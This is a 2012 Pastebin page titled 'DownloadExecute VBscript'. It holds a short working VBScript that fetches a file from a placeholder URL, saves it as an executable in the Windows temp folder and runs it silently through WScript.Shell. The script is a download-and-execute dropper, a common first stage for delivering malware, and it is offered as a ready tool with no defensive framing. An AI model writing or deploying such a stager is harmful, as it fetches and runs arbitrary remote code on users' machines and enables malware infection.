Advertisement
infodox

DownloadExecute VBscript

Apr 16th, 2012
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. 'Set your settings
  2.  
  3. strFileURL = "http://www.domain.com/file"
  4. strHDLocation = "%TEMP%\file.exe"
  5.  
  6. ' Fetch the file
  7.  
  8. Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
  9.  
  10. objXMLHTTP.open "GET", strFileURL, false
  11. objXMLHTTP.send()
  12.  
  13. If objXMLHTTP.Status = 200 Then
  14. Set objADOStream = CreateObject("ADODB.Stream")
  15. objADOStream.Open
  16. objADOStream.Type = 1 'adTypeBinary
  17.  
  18. objADOStream.Write objXMLHTTP.ResponseBody
  19. objADOStream.Position = 0 'Set the stream position to the start
  20.  
  21. Set objFSO = Createobject("Scripting.FileSystemObject")
  22. If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
  23. Set objFSO = Nothing
  24.  
  25. objADOStream.SaveToFile strHDLocation
  26. objADOStream.Close
  27. Set objADOStream = Nothing
  28. End if
  29.  
  30. Set objXMLHTTP = Nothing
  31.  
  32. Sub Run(ByVal sFile)
  33. Dim shell
  34.  
  35. Set shell = CreateObject("WScript.Shell")
  36. shell.Run Chr(34) & sFile & Chr(34), 1, false
  37. Set shell = Nothing
  38. End Sub
  39.  
  40. ' Execute the file downloaded
  41. Run strHDLocation
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement